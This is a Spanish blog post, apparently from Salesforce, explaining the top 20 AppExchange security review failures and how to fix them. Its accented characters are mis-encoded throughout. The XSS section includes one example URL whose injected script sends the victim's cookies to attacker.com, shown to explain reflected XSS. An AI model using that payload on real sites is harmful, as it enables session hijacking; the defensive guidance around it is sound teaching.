Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

